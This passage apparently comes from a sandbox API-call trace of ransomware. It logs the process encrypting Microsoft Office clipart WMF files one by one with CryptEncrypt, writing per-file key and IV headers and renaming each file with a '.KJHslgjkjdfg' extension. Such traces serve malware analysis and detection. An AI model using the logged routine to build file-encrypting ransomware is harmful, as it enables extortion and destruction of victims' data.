lpNumberOfBytesRead=0x290f27c*=0x1464, lpOverlapped=0x0) returned 1 [0181.025] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1470, dwBufLen=0x1470 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1470) returned 1 [0181.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.025] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1470, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1470, lpOverlapped=0x0) returned 1 [0181.025] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.025] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.025] SetEndOfFile (hFile=0x114) returned 1 [0181.028] GetProcessHeap () returned 0x2a0000 [0181.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.028] GetProcessHeap () returned 0x2a0000 [0181.028] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.028] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239191.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239191.wmf.kjhslgjkjdfg")) returned 1 [0181.030] CloseHandle (hObject=0x114) returned 1 [0181.030] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8424, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239611.WMF", cAlternateFileName="")) returned 1 [0181.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.031] GetProcessHeap () returned 0x2a0000 [0181.031] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.031] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.031] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.031] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.033] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.033] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.033] GetProcessHeap () returned 0x2a0000 [0181.033] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.034] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.034] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.034] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.034] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.034] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.034] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.034] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.034] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.034] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.034] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.035] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.035] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8424, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8424, lpOverlapped=0x0) returned 1 [0181.036] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8430, dwBufLen=0x8430 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8430) returned 1 [0181.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.037] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8430, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8430, lpOverlapped=0x0) returned 1 [0181.037] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.037] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.037] SetEndOfFile (hFile=0x114) returned 1 [0181.040] GetProcessHeap () returned 0x2a0000 [0181.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.040] GetProcessHeap () returned 0x2a0000 [0181.040] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.040] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239611.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239611.wmf.kjhslgjkjdfg")) returned 1 [0181.042] CloseHandle (hObject=0x114) returned 1 [0181.042] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1314, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239935.WMF", cAlternateFileName="")) returned 1 [0181.042] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.044] GetProcessHeap () returned 0x2a0000 [0181.044] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.044] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.044] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.044] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0181.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.047] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.047] GetProcessHeap () returned 0x2a0000 [0181.047] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.047] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.047] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.047] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.047] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.047] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.047] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.047] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.047] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.048] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.048] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.048] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1314, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1314, lpOverlapped=0x0) returned 1 [0181.049] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1320, dwBufLen=0x1320 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1320) returned 1 [0181.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.049] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1320, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1320, lpOverlapped=0x0) returned 1 [0181.049] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.049] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x13f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.049] SetEndOfFile (hFile=0x114) returned 1 [0181.052] GetProcessHeap () returned 0x2a0000 [0181.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.052] GetProcessHeap () returned 0x2a0000 [0181.052] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.052] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239935.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239935.wmf.kjhslgjkjdfg")) returned 1 [0181.054] CloseHandle (hObject=0x114) returned 1 [0181.054] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1418, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239941.WMF", cAlternateFileName="")) returned 1 [0181.054] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.055] GetProcessHeap () returned 0x2a0000 [0181.055] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.055] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.055] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.055] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.057] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.057] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.057] GetProcessHeap () returned 0x2a0000 [0181.058] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.058] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.058] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.058] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.058] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.058] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.058] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.058] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.058] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1418, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1418, lpOverlapped=0x0) returned 1 [0181.060] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420, dwBufLen=0x1420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1420) returned 1 [0181.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.060] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1420, lpOverlapped=0x0) returned 1 [0181.060] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.060] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x14f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.060] SetEndOfFile (hFile=0x114) returned 1 [0181.063] GetProcessHeap () returned 0x2a0000 [0181.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.063] GetProcessHeap () returned 0x2a0000 [0181.063] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.063] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239941.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239941.wmf.kjhslgjkjdfg")) returned 1 [0181.064] CloseHandle (hObject=0x114) returned 1 [0181.070] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1998, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0239943.WMF", cAlternateFileName="")) returned 1 [0181.071] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0181.072] GetProcessHeap () returned 0x2a0000 [0181.072] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0181.072] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0181.072] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0181.072] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.074] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.074] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.074] GetProcessHeap () returned 0x2a0000 [0181.074] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0181.074] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0181.075] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0181.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0181.075] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0181.075] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0181.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0181.075] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0181.075] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0181.075] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0181.075] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.075] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1998, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1998, lpOverlapped=0x0) returned 1 [0181.076] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a0, dwBufLen=0x19a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x19a0) returned 1 [0181.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.077] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x19a0, lpOverlapped=0x0) returned 1 [0181.077] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0181.077] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1a74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0181.077] SetEndOfFile (hFile=0x114) returned 1 [0181.080] GetProcessHeap () returned 0x2a0000 [0181.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0181.080] GetProcessHeap () returned 0x2a0000 [0181.080] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0181.080] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0239943.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0239943.wmf"), lpNewFileName="C:\\Program Files\\Microsoft 